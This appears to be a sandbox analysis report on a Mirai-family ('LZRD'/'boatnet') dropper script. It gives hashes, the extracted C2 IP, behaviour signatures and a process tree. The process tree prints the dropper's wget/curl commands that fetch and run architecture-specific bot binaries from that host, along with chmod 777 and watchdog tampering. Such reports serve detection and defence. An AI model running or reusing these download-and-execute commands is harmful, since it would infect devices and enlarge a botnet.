Analysis
- max time kernel
148s - max time network
141s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
10/09/2026, 19:22
Static task
static1
Behavioral task
behavioral1
Sample
ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
Resource
debian9-mipsel-20260513-en
General
- Target ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
- Size 2KB
- Sample260910-x3cbnsxvct
- SHA256 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670
- MD5 aaab1bcd002dcf8c1669c85036c02580
- SHA1 6ab02b41c1bf8c50bafadf5ee188754241ceb18d
- SHA512 ece026ac173dbf9c5210b47afbc7e1489532d33bd187ed642f4268c7b035dd177b23227ca1db0fc94669f0193efa45f8cccb079f19a365eeee78232dd953171c
- TLSH T1B051C486C56E6E32A11EDF0EB751C2BD200141BFADE393F0DD6AC71902868F175E6B16
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
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mirai
-
LZRD
-
93.152.221.22
Extracted
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mirai
-
93.152.221.22
Extracted
-
mirai
-
LZRD
-
93.152.221.22
Extracted
-
mirai
-
LZRD
-
93.152.221.22
Signatures
- File and Directory Permissions Modification 1 TTPs 11 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 776 chmod 804 chmod 813 chmod 831 chmod 677 chmod 743 chmod 784 chmod 794 chmod 823 chmod 837 chmod 727 chmod - Executes dropped EXE 11 IoCs
ioc pid Process /tmp/WTF 672 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670 /tmp/WTF 720 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670 /tmp/WTF 736 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670 /tmp/WTF 771 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670 /tmp/WTF 779 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670 /tmp/WTF 789 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670 /tmp/WTF 799 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670 /tmp/WTF 807 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670 /tmp/WTF 818 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670 /tmp/WTF 826 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670 /tmp/WTF 834 ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670 - Modifies Watchdog functionality 1 TTPs 6 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF - Writes file to system bin folder 6 IoCs
description ioc Process File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF - Checks CPU configuration 1 TTPs 11 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/863/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/638/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/814/cmdline WTF File opened for reading /proc/583/cmdline WTF File opened for reading /proc/564/cmdline WTF File opened for reading /proc/640/cmdline WTF File opened for reading /proc/658/cmdline WTF File opened for reading /proc/845/cmdline WTF File opened for reading /proc/578/cmdline WTF File opened for reading /proc/859/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/795/cmdline WTF File opened for reading /proc/797/cmdline WTF File opened for reading /proc/845/cmdline WTF File opened for reading /proc/845/cmdline WTF File opened for reading /proc/863/cmdline WTF File opened for reading /proc/self/auxv curl File opened for reading /proc/640/cmdline WTF File opened for reading /proc/self/auxv curl File opened for reading /proc/576/cmdline WTF File opened for reading /proc/857/cmdline WTF File opened for reading /proc/658/cmdline WTF File opened for reading /proc/797/cmdline WTF File opened for reading /proc/853/cmdline WTF File opened for reading /proc/859/cmdline WTF File opened for reading /proc/865/cmdline WTF File opened for reading /proc/865/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/564/cmdline WTF File opened for reading /proc/576/cmdline WTF File opened for reading /proc/631/cmdline WTF File opened for reading /proc/847/cmdline WTF File opened for reading /proc/849/cmdline WTF File opened for reading /proc/853/cmdline WTF File opened for reading /proc/583/cmdline WTF File opened for reading /proc/785/cmdline WTF File opened for reading /proc/811/cmdline WTF File opened for reading /proc/867/cmdline WTF File opened for reading /proc/865/cmdline WTF File opened for reading /proc/642/cmdline WTF File opened for reading /proc/639/cmdline WTF File opened for reading /proc/795/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/638/cmdline WTF File opened for reading /proc/642/cmdline WTF File opened for reading /proc/816/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/853/cmdline WTF File opened for reading /proc/821/cmdline WTF File opened for reading /proc/564/cmdline WTF File opened for reading /proc/847/cmdline WTF File opened for reading /proc/851/cmdline WTF File opened for reading /proc/658/cmdline WTF File opened for reading /proc/787/cmdline WTF File opened for reading /proc/861/cmdline WTF File opened for reading /proc/785/cmdline WTF File opened for reading /proc/851/cmdline WTF File opened for reading /proc/self/auxv curl File opened for reading /proc/816/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl - System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 673 rm 675 wget 693 curl 725 cat 720 WTF - Writes file to tmp directory 23 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/WTF ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670 File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.mpsl wget
Processes
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/tmp/ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d670/tmp/ce973eacc5546aa7bac9850c4f0d80fd9eb5323ebc09c7bdda433d00e313d6701⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:642 -
/bin/rmrm -rf boatnet.x86 WTF2⤵PID:643
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/usr/bin/wgetwget http://93.152.221.22/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:646
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/usr/bin/curlcurl -O http://93.152.221.22/hiddenbin/boatnet.x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:671
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/bin/rmrm -rf boatnet.mips WTF2⤵
- System Network Configuration Discovery
PID:673
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/bin/rmrm -rf WTF2⤵PID:674
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/usr/bin/wgetwget http://93.152.221.22/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:675
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/bin/catcat boatnet.x862⤵PID:676
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/bin/chmodchmod 777 WTF2⤵
- File and Directory Permissions Modification
PID:677
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/tmp/WTF./WTF telnet.x862⤵PID:672
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/usr/bin/curlcurl -O http://93.152.221.22/hiddenbin/boatnet.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:693
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/bin/rmrm -rf boatnet.arc WTF2⤵PID:721
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/bin/rmrm -rf WTF2⤵PID:722
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/usr/bin/wgetwget http://93.152.221.22/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:723
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/bin/catcat boatnet.mips2⤵
- System Network Configuration Discovery
PID:725
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/bin/chmodchmod 777 WTF2⤵
- File and Directory Permissions Modification
PID:727
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/tmp/WTF./WTF telnet.mips2⤵
- System Network Configuration Discovery
PID:720
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/usr/bin/curlcurl -O http://93.152.221.22/hiddenbin/boatnet.arc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:732
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/bin/rmrm -rf boatnet.mpsl WTF2⤵PID:737
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/bin/rmrm -rf WTF2⤵PID:739
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/usr/bin/wgetwget http://93.152.221.22/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:740
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/bin/catcat boatnet.arc2⤵PID:741
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/bin/chmodchmod 777 WTF2⤵
- File and Directory Permissions Modification
PID:743
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/tmp/WTF./WTF telnet.arc2⤵PID:736
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/usr/bin/curlcurl -O http://93.152.221.22/hiddenbin/boatnet.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:768
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/bin/rmrm -rf boatnet.arm WTF2⤵PID:772
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/bin/rmrm -rf WTF2⤵PID:773
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/usr/bin/wgetwget http://93.152.221.22/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:774
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/bin/catcat boatnet.mpsl2⤵PID:775
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/bin/chmodchmod 777 WTF2⤵
- File and Directory Permissions Modification
PID:776
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/tmp/WTF./WTF telnet.mpsl2⤵PID:771
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/usr/bin/curlcurl -O http://93.152.221.22/hiddenbin/boatnet.arm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:778
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/bin/rmrm -rf boatnet.arm5 WTF2⤵PID:780
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/bin/rmrm -rf WTF2⤵PID:781
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/usr/bin/wgetwget http://93.152.221.22/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:782
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/bin/catcat boatnet.arm2⤵PID:783
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/bin/chmodchmod 777 WTF2⤵
- File and Directory Permissions Modification
PID:784
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/tmp/WTF./WTF telnet.arm2⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:779
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/usr/bin/curlcurl -O http://93.152.221.22/hiddenbin/boatnet.arm52⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:788
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/bin/rmrm -rf boatnet.arm6 WTF2⤵PID:790
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/bin/rmrm -rf WTF2⤵PID:791
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/usr/bin/wgetwget http://93.152.221.22/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:792
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/bin/catcat boatnet.arm52⤵PID:793
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/bin/chmodchmod 777 WTF2⤵
- File and Directory Permissions Modification
PID:794
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/tmp/WTF./WTF telnet.arm52⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:789
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/usr/bin/curlcurl -O http://93.152.221.22/hiddenbin/boatnet.arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:798
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/bin/rmrm -rf boatnet.arm7 WTF2⤵PID:800
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/bin/rmrm -rf WTF2⤵PID:801
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/usr/bin/wgetwget http://93.152.221.22/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:802
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/bin/catcat boatnet.arm62⤵PID:803
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/bin/chmodchmod 777 WTF2⤵
- File and Directory Permissions Modification
PID:804
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/tmp/WTF./WTF telnet.arm62⤵PID:799
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/usr/bin/curlcurl -O http://93.152.221.22/hiddenbin/boatnet.arm72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:805
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/bin/rmrm -rf boatnet.ppc WTF2⤵PID:808
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/bin/rmrm -rf WTF2⤵PID:809
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/usr/bin/wgetwget http://93.152.221.22/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:810
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/bin/catcat boatnet.arm72⤵PID:812
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/bin/chmodchmod 777 WTF2⤵
- File and Directory Permissions Modification
PID:813
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/tmp/WTF./WTF telnet.arm72⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:807
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/usr/bin/curlcurl -O http://93.152.221.22/hiddenbin/boatnet.ppc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:817
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/bin/rmrm -rf boatnet.m68k WTF2⤵PID:819
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/bin/rmrm -rf WTF2⤵PID:820
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/usr/bin/wgetwget http://93.152.221.22/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:821
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/bin/catcat boatnet.ppc2⤵PID:822
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/bin/chmodchmod 777 WTF2⤵
- File and Directory Permissions Modification
PID:823
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/tmp/WTF./WTF telnet.ppc2⤵PID:818
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/usr/bin/curlcurl -O http://93.152.221.22/hiddenbin/boatnet.m68k2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:825
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/bin/rmrm -rf boatnet.sh4 WTF2⤵PID:827
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/bin/rmrm -rf WTF2⤵PID:828
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/bin/catcat boatnet.m68k2⤵PID:830
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/usr/bin/wgetwget http://93.152.221.22/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:829
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/bin/chmodchmod 777 WTF2⤵
- File and Directory Permissions Modification
PID:831
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/tmp/WTF./WTF telnet.m68k2⤵PID:826
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/usr/bin/curlcurl -O http://93.152.221.22/hiddenbin/boatnet.sh42⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:833
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/bin/rmrm -rf WTF2⤵PID:835
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/bin/catcat boatnet.sh42⤵PID:836
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/bin/chmodchmod 777 WTF2⤵
- File and Directory Permissions Modification
PID:837
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/tmp/WTF./WTF telnet.sh41⤵PID:834
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/WTF
- Size 202KB
- SHA256 77820b9edff723a4c6ad8752c1cc5b443fccf57aaca82944598e28a847508286
- MD5 846f8c82853098b8289f40d63462dba9
- SHA1 f31dc663880b6ff602ed5c2ce08e44e4847465a3
- SHA512 3604a48dcbb5d426fc3c6cf3b741994d178d17cf0fd911fb2eb46bbf32dba7fdf7175418f03ddaee71da60e958bb546ef3bbf6180d713cc5a26fb1206e0a19e2
- SSDEEP 3072:QDy7dLvKdqzLH6p3o1s7n+Xnn3Z+32Em6hh1Pf65:QDy7dLSdqXa2G7Yn03D9fc
- TLSH T1A214B80E6E228F7EF6A9C73547B78E24975823D613E1D645E1ACD2111E2038E641FFE8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/WTF
- Size 153KB
- SHA256 254fcb123b2574664ecc127e02e842eb8996095dc4c7788eeb446a6822bb8752
- MD5 117c23de7f9d8b025ad637ef44cdde94
- SHA1 8637eeef51e9404ab930795b451c3e4ba6922fb9
- SHA512 f818fe22edcde84c83ee89444f919e2f3f6301cff63239a6c17cc99b0095414c60004a363f0d47600f5beb81b145f2b7577c6da22ff891a2126de84134691457
- SSDEEP 3072:JbUCLX2tCmjRuuKX+3kWctWHaFL5EQg5CrdtRTPub01iHq:xpajnKM36FL5EjCrdtwHq
- TLSH T134E39FB3F30B1051C42306F417CBAB9C2E3315425F6B86E3BCAA313A2A765DE5915BE5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/WTF
- Size 206KB
- SHA256 1cf42fc4fe44fda09cbdaf754ae9589ab7690b1078467a465f23b86c0a28e329
- MD5 5c0a11d33090f1f16f54fd450f90f096
- SHA1 78ca406d75d6442a05f76eccc1cead764de6b570
- SHA512 83c99cd4ccbdb0405943b352fc5a14f0fdc10d0bf1f1ae87b4f1c86e41854682d8c1bc9bd66b28ebbbee4050d8185009bf88ea1b567822f30e768bebba4b56b9
- SSDEEP 3072:h2JZLxaR4kaDFhnOllYSUPzVqLezyH6hh1P8U:h2JZLoR4kWFeYSUwLg8
- TLSH T14824E80AAF510EBBDCABCD3702EA1B0128CC541721A57B767274D518F54BA4F1AE3DB8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/WTF
- Size 219KB
- SHA256 66561bbde233bc5a7d8ad40543bfa0b3a895e7da0f5745ca9e67968295b52b7a
- MD5 42ddf0dc89d11ee6251edc09695a5c63
- SHA1 295e0845206bf66a291a049ea5329b2bd9d01f18
- SHA512 9ec53d4c409463d2a0469509b662bc170f6beed8052a63888c14b9126eb81909620fadfa76b3367a2a788add49554329039856d081e29c3fd047f892cf7cc8e4
- SSDEEP 6144:YOuclljNfSYdqozddJb6EuvGwmH2WBLB5n:YINfqozFbIvGwmH1BLB5n
- TLSH T1AD244863D4205EA7C1959B7460AA9B321B33D09543836F7E666AC2B43C43F5CFD0ABE4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/boatnet.x86
- Size 120KB
- SHA256 9ce6baace15dff75745ab8028f5d49dcc18082e7110dc035fa20328a4d2c935c
- MD5 792c404e80a608d6275f5a76002028a6
- SHA1 b6b0b78a2333bf09944261096ac5e10aef6f376b
- SHA512 46e0f0d4a5a8c9afef97cda660b6bdd6251b4b7687c78e23d7f3e76c1bfc7281e7b663ca7ff3dc69e91ea35df72dc885269615a730c1bc84c661ac38860c905b
- SSDEEP 3072:qXmkYDpMgztjHQ8bigC93mtevNVw3w0Y83ESF4G0hAB1Qi:0/YDmqVHPOgC9WtAP0ZJ4GSi
- TLSH T11FC36CD5F643D4FADD5305B12037BB378F32D07B1129EA83E7785A22AC61A01D61AB9C
- MD5 SHA1 SHA512 SSDEEP TLSH